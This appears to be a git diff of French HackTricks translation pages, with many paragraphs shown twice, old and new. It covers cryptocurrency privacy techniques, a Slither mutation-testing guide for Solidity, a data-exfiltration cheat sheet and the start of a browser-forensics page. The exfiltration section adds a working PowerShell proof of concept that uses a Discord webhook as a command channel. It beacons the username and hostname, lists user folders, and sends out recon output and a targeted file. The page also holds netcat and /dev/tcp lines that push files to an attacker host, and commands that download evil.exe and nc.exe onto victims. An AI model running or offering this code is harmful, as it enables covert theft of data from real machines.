En utilisant un mixing service, un utilisateur peut **envoyer des bitcoins** et recevoir **d'autres bitcoins en retour**, ce qui rend la traçabilité du propriétaire initial difficile. Cependant, cela nécessite de faire confiance au service pour ne pas conserver de logs et pour renvoyer effectivement les bitcoins. D'autres options de mixing incluent les casinos Bitcoin.
|
||||
En utilisant un service de mixing, un utilisateur peut **envoyer des bitcoins** et recevoir **d'autres bitcoins en retour**, ce qui rend difficile le traçage du propriétaire initial. Cependant, cela exige de faire confiance au service pour qu'il ne conserve pas de logs et qu'il rende effectivement les bitcoins. Des alternatives de mixage incluent les casinos Bitcoin.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
CoinJoin fusionne plusieurs transactions de différents utilisateurs en une seule, compliquant le travail de quiconque essaie d'associer inputs et outputs. Malgré son efficacité, des transactions ayant des tailles d'input et d'output uniques peuvent encore potentiellement être retracées.
|
||||
CoinJoin fusionne plusieurs transactions de différents utilisateurs en une seule, compliquant le travail de quiconque tente d'associer entrées et sorties. Malgré son efficacité, les transactions avec des tailles d'entrées et de sorties uniques peuvent encore potentiellement être tracées.
|
||||
|
||||
Exemples de transactions qui ont peut‑être utilisé CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
Des transactions exemples qui ont pu utiliser CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant des mineurs.
|
||||
|
||||
## PayJoin
|
||||
|
||||
Un variant de CoinJoin, **PayJoin** (ou P2EP), déguisent la transaction entre deux parties (par ex. un client et un commerçant) en une transaction ordinaire, sans les sorties égales distinctives caractéristiques de CoinJoin. Cela la rend extrêmement difficile à détecter et peut invalider la common-input-ownership heuristic utilisée par les entités de surveillance des transactions.
|
||||
Une variante de CoinJoin, **PayJoin** (ou P2EP), dissimule la transaction entre deux parties (par ex. un client et un commerçant) en la présentant comme une transaction ordinaire, sans les sorties égales distinctives caractéristiques de CoinJoin. Cela la rend extrêmement difficile à détecter et pourrait invalider la common-input-ownership heuristic utilisée par les entités de surveillance des transactions.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Des transactions comme celles ci‑dessus pourraient être des PayJoin, améliorant la confidentialité tout en restant indiscernables des transactions bitcoin standard.
|
||||
Les transactions comme celle ci‑dessus pourraient être des PayJoin, améliorant la confidentialité tout en restant indiscernables des transactions bitcoin standard.
|
||||
|
||||
**L'utilisation de PayJoin pourrait perturber significativement les méthodes traditionnelles de surveillance**, en faisant un développement prometteur dans la recherche de la confidentialité des transactions.
|
||||
**L'utilisation de PayJoin pourrait perturber significativement les méthodes de surveillance traditionnelles**, en faisant une évolution prometteuse dans la recherche de la confidentialité des transactions.
|
||||
|
||||
# Meilleures pratiques pour la confidentialité dans les cryptomonnaies
|
||||
|
||||
## **Wallet Synchronization Techniques**
|
||||
## **Techniques de synchronisation de portefeuille**
|
||||
|
||||
Pour préserver la confidentialité et la sécurité, synchroniser les wallets avec la blockchain est crucial. Deux méthodes se distinguent :
|
||||
Pour préserver la confidentialité et la sécurité, la synchronisation des portefeuilles avec la blockchain est cruciale. Deux méthodes se distinguent :
|
||||
|
||||
- **Full node** : En téléchargeant l'intégralité de la blockchain, un full node garantit une confidentialité maximale. Toutes les transactions jamais effectuées sont stockées localement, rendant impossible pour des adversaires d'identifier quelles transactions ou adresses intéressent l'utilisateur.
|
||||
- **Client-side block filtering** : Cette méthode consiste à créer des filtres pour chaque bloc de la blockchain, permettant aux wallets d'identifier les transactions pertinentes sans exposer des intérêts spécifiques aux observateurs du réseau. Les wallets légers téléchargent ces filtres, ne récupérant les blocs complets que lorsqu'il y a une correspondance avec les adresses de l'utilisateur.
|
||||
- **Full node** : En téléchargeant l'intégralité de la blockchain, un full node assure une confidentialité maximale. Toutes les transactions jamais effectuées sont stockées localement, rendant impossible pour des adversaires d'identifier quelles transactions ou adresses intéressent l'utilisateur.
|
||||
- **Client-side block filtering** : Cette méthode consiste à créer des filtres pour chaque bloc de la blockchain, permettant aux portefeuilles d'identifier les transactions pertinentes sans exposer des intérêts spécifiques aux observateurs du réseau. Les portefeuilles légers téléchargent ces filtres, ne récupérant les blocs complets que lorsqu'une correspondance est trouvée avec les adresses de l'utilisateur.
|
||||
|
||||
## **Utiliser Tor pour l'anonymat**
|
||||
|
||||
Étant donné que Bitcoin fonctionne sur un réseau peer-to-peer, il est recommandé d'utiliser Tor pour masquer votre adresse IP, renforçant la confidentialité lors des interactions avec le réseau.
|
||||
Étant donné que Bitcoin fonctionne sur un réseau pair-à-pair, il est recommandé d'utiliser Tor pour masquer votre adresse IP, renforçant la confidentialité lors des interactions avec le réseau.
|
||||
|
||||
## **Prévenir la réutilisation d'adresses**
|
||||
## **Éviter la réutilisation d'adresses**
|
||||
|
||||
Pour protéger la confidentialité, il est essentiel d'utiliser une nouvelle adresse pour chaque transaction. La réutilisation d'adresses peut compromettre la confidentialité en reliant des transactions à la même entité. Les wallets modernes découragent la réutilisation d'adresses par leur conception.
|
||||
Pour protéger la confidentialité, il est essentiel d'utiliser une nouvelle adresse pour chaque transaction. La réutilisation d'adresses peut compromettre la confidentialité en liant des transactions à la même entité. Les portefeuilles modernes découragent la réutilisation d'adresses par conception.
|
||||
|
||||
## **Stratégies pour la confidentialité des transactions**
|
||||
|
||||
- **Multiple transactions** : Fractionner un paiement en plusieurs transactions peut obscurcir le montant, contrecarrant les attaques visant la confidentialité.
|
||||
- **Change avoidance** : Choisir des transactions qui n'exigent pas d'outputs de change améliore la confidentialité en perturbant les méthodes de détection du change.
|
||||
- **Multiple change outputs** : Si éviter le change n'est pas faisable, générer plusieurs outputs de change peut quand même améliorer la confidentialité.
|
||||
- **Multiples transactions** : Diviser un paiement en plusieurs transactions peut obscurcir le montant de la transaction, contrant les attaques visant la confidentialité.
|
||||
- **Éviter les sorties de change** : Opter pour des transactions n'exigeant pas de sorties de change améliore la confidentialité en perturbant les méthodes de détection de change.
|
||||
- **Multiples sorties de change** : Si éviter le change n'est pas faisable, générer plusieurs sorties de change peut tout de même améliorer la confidentialité.
|
||||
|
||||
# **Monero : un phare de l'anonymat**
|
||||
# **Monero : un phare d'anonymat**
|
||||
|
||||
Monero répond au besoin d'anonymat absolu dans les transactions numériques, établissant une norme élevée en matière de confidentialité.
|
||||
|
||||
# **Ethereum : Gas et transactions**
|
||||
|
||||
## **Comprendre le Gas**
|
||||
## **Comprendre le gas**
|
||||
|
||||
Le Gas mesure l'effort computationnel nécessaire pour exécuter des opérations sur Ethereum, tarifé en **gwei**. Par exemple, une transaction coûtant 2 310 000 gwei (ou 0,00231 ETH) implique une gas limit et une base fee, avec un tip pour inciter les mineurs. Les utilisateurs peuvent définir un max fee pour s'assurer de ne pas trop payer, l'excédent étant remboursé.
|
||||
Le gas mesure l'effort computationnel nécessaire pour exécuter des opérations sur Ethereum, tarifé en **gwei**. Par exemple, une transaction coûtant 2 310 000 gwei (ou 0,00231 ETH) implique une gas limit et une base fee, avec un tip pour inciter les mineurs. Les utilisateurs peuvent définir un max fee pour s'assurer de ne pas surpayer ; l'excédent est remboursé.
|
||||
|
||||
## **Exécution des transactions**
|
||||
|
||||
Les transactions sur Ethereum impliquent un émetteur et un destinataire, qui peuvent être des adresses utilisateur ou des contrats intelligents. Elles requièrent des frais et doivent être minées. Les informations essentielles d'une transaction incluent le destinataire, la signature de l'émetteur, la valeur, des données optionnelles, la gas limit et les frais. Notamment, l'adresse de l'émetteur est déduite de la signature, ce qui évite d'avoir à l'inclure dans les données de la transaction.
|
||||
Les transactions sur Ethereum impliquent un expéditeur et un destinataire, qui peuvent être des adresses utilisateur ou des smart contracts. Elles nécessitent des frais et doivent être minées. Les informations essentielles d'une transaction incluent le destinataire, la signature de l'expéditeur, la valeur, les données optionnelles, la gas limit et les frais. Notamment, l'adresse de l'expéditeur est déduite de la signature, ce qui élimine la nécessité de l'inclure dans les données de la transaction.
|
||||
|
||||
Ces pratiques et mécanismes sont fondamentaux pour quiconque souhaite interagir avec les cryptomonnaies tout en donnant la priorité à la confidentialité et à la sécurité.
|
||||
Ces pratiques et mécanismes sont fondamentaux pour quiconque souhaite interagir avec les cryptomonnaies tout en privilégiant la confidentialité et la sécurité.
|
||||
|
||||
## References
|
||||
## Smart Contract Security
|
||||
|
||||
- Mutation testing to find blind spots in test suites:
|
||||
|
||||
{{#ref}}
|
||||
../smart-contract-security/mutation-testing-with-slither.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
@ -183,7 +191,7 @@ Ces pratiques et mécanismes sont fondamentaux pour quiconque souhaite interagir
|
||||
|
||||
## DeFi/AMM Exploitation
|
||||
|
||||
Si vous recherchez l'exploitation pratique des DEXes et AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), consultez :
|
||||
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
|
@ -0,0 +1,116 @@
|
||||
# Test de mutation pour Solidity avec Slither (slither-mutate)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Le test de mutation, qui "teste vos tests", consiste à introduire systématiquement de petits changements (mutants) dans votre code Solidity et à relancer votre suite de tests. Si un test échoue, le mutant est tué. Si les tests passent toujours, le mutant survit, révélant une zone aveugle dans votre suite de tests que la couverture de lignes/de branches ne peut pas détecter.
|
||||
|
||||
Idée clé : la couverture montre que le code a été exécuté ; le test de mutation montre si le comportement est réellement vérifié.
|
||||
|
||||
## Pourquoi la couverture peut être trompeuse
|
||||
|
||||
Considérez ce simple contrôle de seuil :
|
||||
```solidity
|
||||
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
|
||||
if (deposit >= 1 ether) {
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
```
|
||||
Les tests unitaires qui ne vérifient qu'une valeur en dessous et une valeur au-dessus du seuil peuvent atteindre 100% de couverture ligne/branchement tout en n'assertant pas la frontière d'égalité (==). Une refactorisation en `deposit >= 2 ether` passerait toujours ces tests, cassant silencieusement la logique du protocole.
|
||||
|
||||
Mutation testing expose cette faille en mutant la condition et en vérifiant que vos tests échouent.
|
||||
|
||||
## Opérateurs de mutation courants pour Solidity
|
||||
|
||||
Slither’s mutation engine applique de nombreuses petites modifications changeant la sémantique, telles que :
|
||||
- Remplacement d'opérateurs : `+` ↔ `-`, `*` ↔ `/`, etc.
|
||||
- Remplacement d'affectation : `+=` → `=`, `-=` → `=`
|
||||
- Remplacement de constantes : non-zéro → `0`, `true` ↔ `false`
|
||||
- Négation/remplacement de condition à l'intérieur de `if`/boucles
|
||||
- Mettre en commentaire des lignes entières (CR: Comment Replacement)
|
||||
- Remplacer une ligne par `revert()`
|
||||
- Échanges de types de données : p. ex., `int128` → `int64`
|
||||
|
||||
Objectif : Éliminer 100 % des mutants générés, ou justifier les survivants par un raisonnement clair.
|
||||
|
||||
## Exécution de mutation testing avec slither-mutate
|
||||
|
||||
Prérequis : Slither v0.10.2+.
|
||||
|
||||
- Lister les options et les mutateurs:
|
||||
```bash
|
||||
slither-mutate --help
|
||||
slither-mutate --list-mutators
|
||||
```
|
||||
- Exemple Foundry (capturer les résultats et conserver un log complet):
|
||||
```bash
|
||||
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
|
||||
```
|
||||
- Si vous n'utilisez pas Foundry, remplacez `--test-cmd` par la commande que vous utilisez pour exécuter les tests (par ex., `npx hardhat test`, `npm test`).
|
||||
|
||||
Les artefacts et les rapports sont stockés dans `./mutation_campaign` par défaut. Les mutants non détectés (survivants) y sont copiés pour inspection.
|
||||
|
||||
### Comprendre la sortie
|
||||
|
||||
Les lignes du rapport ressemblent à :
|
||||
```text
|
||||
INFO:Slither-Mutate:Mutating contract ContractName
|
||||
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
|
||||
```
|
||||
- The tag in brackets is the mutator alias (e.g., `CR` = Remplacement de commentaire).
|
||||
- `UNCAUGHT` means tests passed under the mutated behavior → assertion manquante.
|
||||
|
||||
## Réduire le temps d'exécution : prioriser les mutants ayant un impact
|
||||
|
||||
Les campagnes de mutation peuvent prendre des heures ou des jours. Conseils pour réduire les coûts :
|
||||
- Portée : commencez uniquement par les contrats/répertoires critiques, puis étendez.
|
||||
- Prioriser les mutateurs : si un mutant à haute priorité sur une ligne survit (p.ex., toute la ligne commentée), vous pouvez ignorer les variantes de moindre priorité pour cette ligne.
|
||||
- Parallelize tests if your runner allows it; cache dependencies/builds.
|
||||
- Fail-fast : arrêtez tôt lorsqu'un changement démontre clairement un manque d'assertion.
|
||||
|
||||
## Flux de triage pour les mutants survivants
|
||||
|
||||
1) Inspecter la ligne mutée et le comportement.
|
||||
- Reproduire localement en appliquant la ligne mutée et en exécutant un test ciblé.
|
||||
|
||||
2) Renforcer les tests pour affirmer l'état, pas seulement les valeurs de retour.
|
||||
- Ajouter des vérifications de limites d'égalité (p.ex., test threshold `==`).
|
||||
- Affirmer des post-conditions : soldes, total supply, effets d'autorisation et événements émis.
|
||||
|
||||
3) Remplacer les mocks trop permissifs par un comportement réaliste.
|
||||
- S'assurer que les mocks imposent les transferts, les chemins d'échec et les émissions d'événements qui se produisent on-chain.
|
||||
|
||||
4) Ajouter des invariants pour les fuzz tests.
|
||||
- P.ex., conservation de la valeur, soldes non négatifs, invariants d'autorisation, monotonic supply lorsque applicable.
|
||||
|
||||
5) Relancer slither-mutate jusqu'à ce que les survivants soient tués ou explicitement justifiés.
|
||||
|
||||
## Étude de cas : révéler les assertions d'état manquantes (protocole Arkis)
|
||||
|
||||
Une campagne de mutation lors d'un audit du protocole Arkis DeFi a fait remonter des survivants tels que :
|
||||
```text
|
||||
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
|
||||
```
|
||||
Le fait de commenter l'affectation n'a pas fait échouer les tests, ce qui prouve l'absence d'assertions sur l'état post-exécution. Cause racine : le code se fiait à `_cmd.value` contrôlé par l'utilisateur au lieu de valider les transferts réels de tokens. Un attaquant pouvait désynchroniser les transferts attendus et réels pour siphonner les fonds. Conséquence : risque de gravité élevée pour la solvabilité du protocole.
|
||||
|
||||
Guidance : Traitez les mutants survivants qui affectent les transferts de valeur, la comptabilité ou le contrôle d'accès comme à haut risque tant qu'ils ne sont pas tués.
|
||||
|
||||
## Practical checklist
|
||||
|
||||
- Run a targeted campaign:
|
||||
- `slither-mutate ./src/contracts --test-cmd="forge test"`
|
||||
- Trier les mutants survivants et écrire des tests/invariants qui échoueraient sous le comportement muté.
|
||||
- Vérifier les soldes, l'offre (supply), les autorisations et les événements.
|
||||
- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
|
||||
- Remplacer les mocks irréalistes ; simuler des modes de défaillance.
|
||||
- Itérer jusqu'à ce que tous les mutants soient tués ou explicitement justifiés par des commentaires et des explications.
|
||||
|
||||
## References
|
||||
|
||||
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
|
||||
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
|
||||
- [Slither (GitHub)](https://github.com/crytic/slither)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Domaines couramment autorisés pour exfiltrer des informations
|
||||
|
||||
Vérifiez [https://lots-project.com/](https://lots-project.com/) pour trouver des domaines couramment autorisés qui peuvent être abusés
|
||||
Consultez [https://lots-project.com/](https://lots-project.com/) pour trouver des domaines couramment autorisés qui peuvent être abusés
|
||||
|
||||
## Copy\&Paste Base64
|
||||
## Copier\&Coller Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
@ -42,10 +42,10 @@ Start-BitsTransfer -Source $url -Destination $output
|
||||
#OR
|
||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
```
|
||||
### Télécharger des fichiers
|
||||
### Téléverser des fichiers
|
||||
|
||||
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
- [**SimpleHttpServer imprimant GET et POST (également les en-têtes)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
- Module Python [uploadserver](https://pypi.org/project/uploadserver/):
|
||||
```bash
|
||||
# Listen to files
|
||||
@ -100,6 +100,91 @@ if __name__ == "__main__":
|
||||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
###
|
||||
```
|
||||
## Webhooks (Discord/Slack/Teams) pour C2 & Data Exfiltration
|
||||
|
||||
Les Webhooks sont des endpoints HTTPS en écriture seule qui acceptent du JSON et des parties de fichier optionnelles. Ils sont couramment autorisés sur des domaines SaaS de confiance et ne nécessitent pas de clés OAuth/API, ce qui les rend utiles pour le beaconing à faible friction et pour l'exfiltration.
|
||||
|
||||
Key ideas:
|
||||
- Endpoint : Discord utilise https://discord.com/api/webhooks/<id>/<token>
|
||||
- POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
|
||||
- Operator loop pattern : periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirment la livraison.
|
||||
|
||||
PowerShell PoC (Discord):
|
||||
```powershell
|
||||
# 1) Configure webhook and optional target file
|
||||
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
|
||||
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
|
||||
|
||||
# 2) Reuse a single HttpClient
|
||||
$client = [System.Net.Http.HttpClient]::new()
|
||||
|
||||
function Send-DiscordText {
|
||||
param([string]$Text)
|
||||
$payload = @{ content = $Text } | ConvertTo-Json -Compress
|
||||
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
|
||||
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||
$mp.Add($jsonContent, "payload_json")
|
||||
$resp = $client.PostAsync($webhook, $mp).Result
|
||||
Write-Host "[Discord] text -> $($resp.StatusCode)"
|
||||
}
|
||||
|
||||
function Send-DiscordFile {
|
||||
param([string]$Path, [string]$Name)
|
||||
if (-not (Test-Path $Path)) { return }
|
||||
$bytes = [System.IO.File]::ReadAllBytes($Path)
|
||||
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
|
||||
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
|
||||
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
|
||||
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
|
||||
$mp = New-Object System.Net.Http.MultipartFormDataContent
|
||||
$mp.Add($jsonContent, "payload_json")
|
||||
$mp.Add($fileContent, "file", $Name)
|
||||
$resp = $client.PostAsync($webhook, $mp).Result
|
||||
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
|
||||
}
|
||||
|
||||
# 3) Beacon/recon/exfil loop
|
||||
$ctr = 0
|
||||
while ($true) {
|
||||
$ctr++
|
||||
# Beacon
|
||||
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
|
||||
Send-DiscordText -Text $beacon
|
||||
|
||||
# Every 2nd: quick folder listing
|
||||
if ($ctr % 2 -eq 0) {
|
||||
$dirs = @("Documents","Desktop","Downloads","Pictures")
|
||||
$acc = foreach ($d in $dirs) {
|
||||
$p = Join-Path $env:USERPROFILE $d
|
||||
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
|
||||
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
|
||||
}
|
||||
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
|
||||
}
|
||||
|
||||
# Every 3rd: targeted exfil
|
||||
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
|
||||
|
||||
# Every 4th: basic recon
|
||||
if ($ctr % 4 -eq 0) {
|
||||
$who = whoami
|
||||
$ip = ipconfig | Out-String
|
||||
$tmp = Join-Path $env:TEMP "recon.txt"
|
||||
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
|
||||
Send-DiscordFile -Path $tmp -Name "recon.txt"
|
||||
}
|
||||
|
||||
Start-Sleep -Seconds 20
|
||||
}
|
||||
```
|
||||
Remarques :
|
||||
- Des schémas similaires s'appliquent à d'autres plateformes de collaboration (Slack/Teams) utilisant leurs incoming webhooks ; ajustez l'URL et le schéma JSON en conséquence.
|
||||
- Pour le DFIR des artefacts de cache de Discord Desktop et la récupération des webhook/API, voir :
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
## FTP
|
||||
|
||||
### Serveur FTP (python)
|
||||
@ -130,7 +215,7 @@ mkdir -p /ftphome
|
||||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### **Client** Windows
|
||||
### **Windows** client
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
||||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
Ou créez un partage smb **en utilisant samba** :
|
||||
Ou créer un partage smb **en utilisant samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
@ -181,7 +266,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
||||
```
|
||||
## SSHFS
|
||||
|
||||
Si la victime a SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant.
|
||||
Si la victime dispose d'un service SSH, l'attaquant peut monter un répertoire de la victime sur sa propre machine.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
@ -199,7 +284,7 @@ nc -vn <IP> 4444 < exfil_file
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### Télécharger un fichier sur la victime
|
||||
### Téléverser un fichier sur la victime
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
@ -228,33 +313,33 @@ sniff(iface="tun0", prn=process_packet)
|
||||
```
|
||||
## **SMTP**
|
||||
|
||||
Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un SMTP pour recevoir les données avec python :
|
||||
Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un serveur SMTP pour recevoir les données avec python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
Par défaut dans XP et 2003 (dans d'autres, il doit être ajouté explicitement lors de l'installation)
|
||||
Par défaut sous XP et 2003 (dans d'autres, il doit être ajouté explicitement lors de l'installation)
|
||||
|
||||
Dans Kali, **démarrer le serveur TFTP** :
|
||||
Sous Kali, **démarrer le serveur TFTP**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Serveur TFTP en python :**
|
||||
**Serveur TFTP en python:**
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
Dans **victime**, connectez-vous au serveur Kali :
|
||||
Dans **victim**, connectez-vous au serveur Kali :
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Téléchargez un fichier avec un oneliner PHP :
|
||||
Télécharger un fichier avec un oneliner PHP:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
||||
```
|
||||
## Debug.exe
|
||||
|
||||
Le programme `debug.exe` permet non seulement l'inspection des binaires, mais a également la **capacité de les reconstruire à partir de l'hex**. Cela signifie qu'en fournissant un hex d'un binaire, `debug.exe` peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une **limitation d'assemblage des fichiers jusqu'à 64 ko**.
|
||||
Le programme `debug.exe` permet non seulement d'inspecter des binaires mais possède aussi la **capacité de les reconstruire à partir d'hex**. Cela signifie qu'en fournissant un hex d'un binaire, `debug.exe` peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une **limitation : il n'assemble que des fichiers jusqu'à 64 kb**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Ensuite, collez le texte dans le shell Windows et un fichier appelé nc.exe sera créé.
|
||||
Collez ensuite le texte dans la windows-shell et un fichier nommé nc.exe sera créé.
|
||||
|
||||
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
@ -310,4 +395,10 @@ Ensuite, collez le texte dans le shell Windows et un fichier appelé nc.exe sera
|
||||
|
||||
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
|
||||
|
||||
## Références
|
||||
|
||||
- [Discord en tant que C2 et les preuves mises en cache qu'il laisse derrière](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,23 +1,23 @@
|
||||
# Artefacts du Navigateur
|
||||
# Artefacts du navigateur
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artefacts des Navigateurs <a href="#id-3def" id="id-3def"></a>
|
||||
## Artefacts des navigateurs <a href="#id-3def" id="id-3def"></a>
|
||||
|
||||
Les artefacts des navigateurs incluent divers types de données stockées par les navigateurs web, telles que l'historique de navigation, les signets et les données de cache. Ces artefacts sont conservés dans des dossiers spécifiques au sein du système d'exploitation, variant en emplacement et en nom selon les navigateurs, mais stockant généralement des types de données similaires.
|
||||
Les artefacts du navigateur comprennent divers types de données stockées par les navigateurs web, tels que l'historique de navigation, les signets et les données de cache. Ces artefacts sont conservés dans des dossiers spécifiques au sein du système d'exploitation, dont l'emplacement et le nom varient selon les navigateurs, mais contenant généralement des types de données similaires.
|
||||
|
||||
Voici un résumé des artefacts de navigateur les plus courants :
|
||||
|
||||
- **Historique de Navigation** : Suit les visites des utilisateurs sur des sites web, utile pour identifier les visites sur des sites malveillants.
|
||||
- **Données d'Autocomplétion** : Suggestions basées sur des recherches fréquentes, offrant des aperçus lorsqu'elles sont combinées avec l'historique de navigation.
|
||||
- **Signets** : Sites enregistrés par l'utilisateur pour un accès rapide.
|
||||
- **Extensions et Modules Complémentaires** : Extensions de navigateur ou modules installés par l'utilisateur.
|
||||
- **Cache** : Stocke le contenu web (par exemple, images, fichiers JavaScript) pour améliorer les temps de chargement des sites, précieux pour l'analyse judiciaire.
|
||||
- **Identifiants** : Informations d'identification stockées.
|
||||
- **Favicons** : Icônes associées aux sites web, apparaissant dans les onglets et les signets, utiles pour des informations supplémentaires sur les visites des utilisateurs.
|
||||
- **Sessions de Navigateur** : Données liées aux sessions de navigateur ouvertes.
|
||||
- **Historique de navigation** : Suit les visites de l'utilisateur sur les sites web, utile pour identifier les visites de sites malveillants.
|
||||
- **Données d'autocomplétion** : Suggestions basées sur des recherches fréquentes, offrant des indications lorsqu'elles sont combinées avec l'historique de navigation.
|
||||
- **Signets** : Sites sauvegardés par l'utilisateur pour un accès rapide.
|
||||
- **Extensions et modules complémentaires** : Extensions ou add-ons installés par l'utilisateur.
|
||||
